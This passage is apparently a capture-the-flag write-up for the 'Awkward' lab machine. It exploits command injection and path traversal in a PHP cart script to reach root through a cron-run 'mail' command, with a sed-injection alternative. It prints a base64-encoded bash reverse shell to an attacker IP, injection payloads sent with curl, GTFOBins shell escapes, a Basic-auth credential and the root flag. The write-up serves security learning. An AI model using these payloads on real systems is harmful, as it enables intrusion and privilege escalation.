item_id=3&item_name=Straw Hat&item_brand=Sunny Summer&item_price=$70.00
The relevant PHP script is cart_actions.php
:
bean@awkward:~$ cat /var/www/store/cart_products.php
<?php
$STORE_HOME = "/var/www/store/";
//check for valid hat valley store item
function checkValidItem($filename) {
if(file_exists($filename)) {
$first_line = file($filename)[0];
if(strpos($first_line, "***Hat Valley") !== FALSE) {
return true;
}
}
return false;
}
//add to cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'add_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
echo "Item added successfully!";
}
else {
echo "Invalid item";
}
exit;
}
//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
$item_id = $_POST['item'];
$user_id = $_POST['user'];
$bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!
foreach($bad_chars as $bad) {
if(strpos($item_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
foreach($bad_chars as $bad) {
if(strpos($user_id, $bad) !== FALSE) {
echo "Bad character detected!";
exit;
}
}
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
}
else {
echo "Invalid item";
}
exit;
}
//fetch from cart
if ($_SERVER['REQUEST_METHOD'] === 'GET' && $_GET['action'] === 'fetch_items' && $_GET['user']) {
$html = "";
$dir = scandir("{$STORE_HOME}cart");
$files = array_slice($dir, 2);
foreach($files as $file) {
$user_id = substr($file, -18);
if($user_id === $_GET['user'] && checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
$product_file = fopen("{$STORE_HOME}cart/{$file}", "r");
$details = array();
while (($line = fgets($product_file)) !== false) {
if(str_replace(array("\r", "\n"), '', $line) !== "***Hat Valley Cart***") { //don't include first line
array_push($details, str_replace(array("\r", "\n"), '', $line));
}
}
foreach($details as $cart_item) {
$cart_items = explode("&", $cart_item);
for($x = 0; $x < count($cart_items); $x++) {
$cart_items[$x] = explode("=", $cart_items[$x]); //key and value as separate values in subarray
}
$html .= "<tr><td>{$cart_items[1][1]}</td><td>{$cart_items[2][1]}</td><td>{$cart_items[3][1]}</td><td><button data-id={$cart_items[0][1]} onclick=\"removeFromCart(this, localStorage.getItem('user'))\" class='remove-item'>Remove</button></td></tr>";
}
}
}
echo $html;
exit;
}
?>
It looks very complicated, but it is not. First, the function called checkValidItem
checks if a file exists and if the first line starts with ***Hat Valley
. Otherwise, it returns false
.
Let’s focus on the add_item
method, particularly, in this section:
if(checkValidItem("{$STORE_HOME}product-details/{$item_id}.txt")) {
if(!file_exists("{$STORE_HOME}cart/{$user_id}")) {
system("echo '***Hat Valley Cart***' > {$STORE_HOME}cart/{$user_id}");
}
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
echo "Item added successfully!";
}
else {
echo "Invalid item";
}
There are two variables that we can control: user_id
and item_id
, although there is a list of bad characters, the same as before. However, the bad characters list is not exhaustive. For instance, dots (.
) and slashes (/
) are allowed. Using this, we can perform a Directory Traversal attack. The first system
call is not very useful, but the second one looks more critical:
system("head -2 {$STORE_HOME}product-details/{$item_id}.txt | tail -1 >> {$STORE_HOME}cart/{$user_id}");
What the instruction does is take the second line of the item file and append it to the user cart file. Notice that we are allowed to write files into /var/www/store/product-details
, so we can control the content of the left-hand-side file that will be appended to the right-hand-side file.
Looking for files owned by www-data
(as user and group), we find /var/www/private
:
bean@awkward:~$ find / -user www-data 2>/dev/null | grep -vE 'proc|sys|run'
/var/lib/nginx/body
/var/lib/nginx/uwsgi
/var/lib/nginx/fastcgi
/var/lib/nginx/scgi
/var/lib/nginx/proxy
bean@awkward:~$ find / -group www-data 2>/dev/null | grep -vE 'proc|sys|run'
/var/www/.pm2
/var/www/private
Actually, we can recall the CSV file at /var/www/private/leave_requests.csv
. Maybe it is used for something. To discover this, we can run pspy
to enumerate running processes. These look curious:
CMD: UID=0 PID=5489 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=5491 | /bin/bash /root/scripts/restore.sh
CMD: UID=0 PID=5490 | /bin/sh -c /root/scripts/restore.sh
CMD: UID=0 PID=5500 | /bin/bash /root/scripts/restore.sh
CMD: UID=0 PID=5499 | mail -s Leave Request: christine
CMD: UID=0 PID=5503 | cp /root/backup/1.txt /var/www/store/product-details/
CMD: UID=0 PID=5504 | /bin/bash /root/scripts/restore.sh
CMD: UID=0 PID=5507 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root
CMD: UID=0 PID=5506 | /usr/sbin/sendmail -oi -f root@awkward -t
CMD: UID=0 PID=5508 | /usr/sbin/postdrop -r
CMD: UID=0 PID=5509 | /usr/sbin/postdrop -r
CMD: UID=0 PID=5510 | cleanup -z -t unix -u -c
CMD: UID=0 PID=5511 | trivial-rewrite -n rewrite -t unix -u -c
CMD: UID=0 PID=5512 | local -t unix
CMD: UID=0 PID=5518 | mail -s Leave Request: bean.hill christine
If we search GTFOBins for mail
or use my tool gtfobins-cli
, we can see that it is possible to inject some parameters to execute system commands:
$ gtfobins-cli --shell mail
mail ==> https://gtfobins.github.io/gtfobins/mail/
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
GNU version only.
mail --exec='!/bin/sh'
This creates a valid Mbox file which may be required by the binary.
TF=$(mktemp)
echo "From nobody@localhost $(date)" > $TF
mail -f $TF
!/bin/sh
Let’s try to guess what is the CSV file for. For instance, we can try to add some data like this:
bean@awkward:~$ cat > /var/www/store/product-details/4.txt
***Hat Valley Product***
asdf
^C
bean@awkward:~$
$ curl store.hat-valley.htb/cart_actions.php -d 'item=4&user=../../../../../var/www/private/leave_requests.csv&action=add_item' -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
Item added successfully!
To see if something was appended or not, we can use the previous LFR vulnerability:
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
asdf
There it is. And if we look at the running processes, we have this one:
CMD: UID=0 PID=5518 | mail -s Leave Request: asdf christine
Another way of testing this functionality is using /api/submit-leave
contrilling the user
variable with a forged JWT token (as before). However, this way is not useful for exploitation due to the bad chars list.
Privilege escalation
Since the content appended to the CSV file is reflected in the mail
command, we can try to inject the malicious parameter. For instance, let’s write a reverse shell command in a Bash script:
bean@awkward:~$ cat > /tmp/shell.sh
#!/bin/bash
echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash
^C
bean@awkward:~$ chmod +x /tmp/shell.sh
Then we can enter --exec='!/tmp/shell.sh'
in the CSV file:
bean@awkward:~$ cat > /var/www/store/product-details/4.txt
***Hat Valley Product***
--exec='!/tmp/shell.sh'
^C
bean@awkward:~$
Now, we write malicious parameter into the CSV file:
$ curl store.hat-valley.htb/cart_actions.php -d 'item=1337&user=../../../../../var/www/private/leave_requests.csv&action=add_item' -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
Item added successfully!
And there it is:
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
--exec='!/tmp/shell.sh'
However, it is not working, although we see this command:
CMD: UID=0 PID=4047 | mail -s Leave Request: --exec='!/tmp/shell.sh' christine
We can try to add spaces in the left and in the right and nothing happens. Hence, we can guess that the payload is wrapped somehow into double quotes, so let’s try to escape from those:
bean@awkward:~$ cat > /var/www/store/product-details/4.txt
***Hat Valley Product***
" --exec='!/tmp/shell.sh' "
^C
bean@awkward:~$
$ curl store.hat-valley.htb/cart_actions.php -d 'item=1337&user=../../../../../var/www/private/leave_requests.csv&action=add_item' -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
Item added successfully!
$ node readFile.js /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No
" --exec='!/tmp/shell.sh' "
And now it works! We have a reverse shell as root
:
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.185.
Ncat: Connection from 10.10.11.185:59596.
bash: cannot set terminal process group (977): Inappropriate ioctl for device
bash: no job control in this shell
root@awkward:~/scripts# script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@awkward:~/scripts# ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
root@awkward:~/scripts# export TERM=xterm
root@awkward:~/scripts# export SHELL=bash
root@awkward:~/scripts# stty rows 50 columns 158
Let’s take the root.txt
flag:
root@awkward:~/scripts# cat /root/root.txt
5b7759c68ce8411582696a65bf945c05
As expected, the mail
command contained double quotes:
root@awkward:~/scripts# cat notify.sh
#!/bin/bash
inotifywait --quiet --monitor --event modify /var/www/private/leave_requests.csv | while read; do
change=$(tail -1 /var/www/private/leave_requests.csv)
name=`echo $change | awk -F, '{print $1}'`
echo -e "You have a new leave request to review!\n$change" | mail -s "Leave Request: "$name christine
done
Alternative path
There is a way to get a reverse shell as www-data
, so it is easier to append content to the CSV file. The exploit is in the store application, in the delete_item
method, particularly here:
if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
echo "Item removed from cart";
}
Again, there is a GTFOBin for sed
:
$ gtfobins-cli --shell sed
sed ==> https://gtfobins.github.io/gtfobins/sed/
Shell
It can be used to break out from restricted environments by spawning an interactive system shell.
GNU version only. Also, this requires bash.
sed -n '1e exec sh 1>&0' /etc/hosts
GNU version only. The resulting shell is not a proper TTY shell.
sed e
And we control both item_id
and user_id
. If we add an item from the website, we will see this file (with the user identifier found in localStorage
):
bean@awkward:~$ ls /var/www/store/cart
d04c-f798-688-7e56
So, we should leave that file as is because checkValidItem
needs to validate it. However, let’s enter the following payload in item_id
:
1' -e '1e /tmp/shell.sh' /'
Notice that -e
(--expression=script
) is required:
bean@awkward:~$ sed 2>&1 | grep '\-e'
-e script, --expression=script
-E, -r, --regexp-extended
If no -e, --expression, -f, or --file option is given, then the first
bean@awkward:~$ sed 2>&1 | grep '\-n'
Usage: sed [OPTION]... {script-only-if-no-other-script} [input-file]...
-n, --quiet, --silent
-z, --null-data
We can send the payload using curl
and get the reverse shell:
$ curl store.hat-valley.htb/cart_actions.php -d "item=1' -e '1e /tmp/shell.sh' '&user=d04c-f798-688-7e56&action=delete_item" -H 'Authorization: Basic YWRtaW46MDE0bXJiZWFucnVsZXMhI1A='
$ nc -nlvp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.185.
Ncat: Connection from 10.10.11.185:49182.
bash: cannot set terminal process group (1325): Inappropriate ioctl for device
bash: no job control in this shell
www-data@awkward:~/store$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@awkward:~/store$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@awkward:~/store$ export TERM=xterm
www-data@awkward:~/store$ export SHELL=bash
www-data@awkward:~/store$ stty rows 50 columns 158
So now we can interact with the CSV file directly:
www-data@awkward:~/store$ cat /var/www/private/leave_requests.csv
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No